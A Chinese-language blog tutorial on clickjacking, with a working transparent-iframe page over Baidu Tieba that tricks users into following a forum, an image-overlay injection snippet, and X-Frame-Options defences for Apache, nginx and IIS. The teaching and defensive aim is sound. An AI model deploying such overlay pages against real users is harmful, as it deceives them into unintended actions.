點選劫持(ClickJacking)是一種視覺上的欺騙手段。大概有兩種方式,一是攻擊者使用一個透明的iframe,覆寫在一個網頁上,然後誘使使用者在該頁面上進行操作,此時使用者将在不知情的情況下點選透明的iframe頁面;二是攻擊者使用一張圖檔覆寫在網頁,遮擋網頁原有位置的含義;
iframe覆寫
直接示例說明
1. 假如我們在百度有個貼吧,想偷偷讓别人關注它。于是我們準備一個頁面:
<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<head>
<title>點選劫持</title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0;
filter:alpha(opacity=0);
position:absolute;
z-index:2;
}
button{
position:absolute;
top: 315px;
left: 462px;
z-index: 1;
width: 72px;
height: 26px;
}
</style>
</head>
<body>
那些不能說的秘密
<button>檢視詳情</button>
<iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
</body>
</html>
PS:頁面看起來就這樣,當然真正攻擊的頁面會精緻些,不像這麼簡陋。
2. 網址傳播出去後,使用者手賤點選了檢視詳情後,其實就會點到關注按鈕。
PS:可以把iframe透明設為0.3看下實際點到的東西。
3. 這樣貼吧就多了一個粉絲了。
解決辦法
使用一個HTTP頭——X-Frame-Options。X-Frame-Options可以說是為了解決ClickJacking而生的,它有三個可選的值:
DENY:浏覽器會拒絕目前頁面加載任何frame頁面;
SAMEORIGIN:frame頁面的位址隻能為同源域名下的頁面;
ALLOW-FROM origin:允許frame加載的頁面位址;
PS:浏覽器支援情況:IE8+、Opera10+、Safari4+、Chrome4.1.249.1042+、Firefox3.6.9。
具體的設定方法:
Apache配置:
Header always append X-Frame-Options SAMEORIGIN
nginx配置:
add_header X-Frame-Options SAMEORIGIN;
IIS配置:
<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
...
</system.webServer>
圖檔覆寫
圖檔覆寫攻擊(Cross Site Image Overlaying),攻擊者使用一張或多張圖檔,利用圖檔的style或者能夠控制的CSS,将圖檔覆寫在網頁上,形成點選劫持。當然圖檔本身所帶的資訊可能就帶有欺騙的含義,這樣不需要使用者點選,也能達到欺騙的目的。
PS:這種攻擊很容易出現在網站本身的頁面。
示例
在可以輸入HTML内容的地方加上一張圖檔,隻不過将圖檔覆寫在指定的位置。
<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE">
<img src="XXXXXX" style="position:absolute;top:90px;left:320px;" />
</a>
在防禦圖檔覆寫攻擊時,需要檢查使用者送出的HTML代碼中,img标簽的style屬性是否可能導緻浮出。
總結
點選劫持算是一種很多人不大關注的攻擊,他需要誘使使用者與頁面進行互動,實施的攻擊成本更高。另外開發者可能會覺得是使用者犯蠢,不重視這種攻擊方式。
本文為原創文章,轉載請保留原出處,友善溯源,如有錯誤地方,謝謝指正。
本文位址 :http://www.cnblogs.com/lovesong/p/5248483.html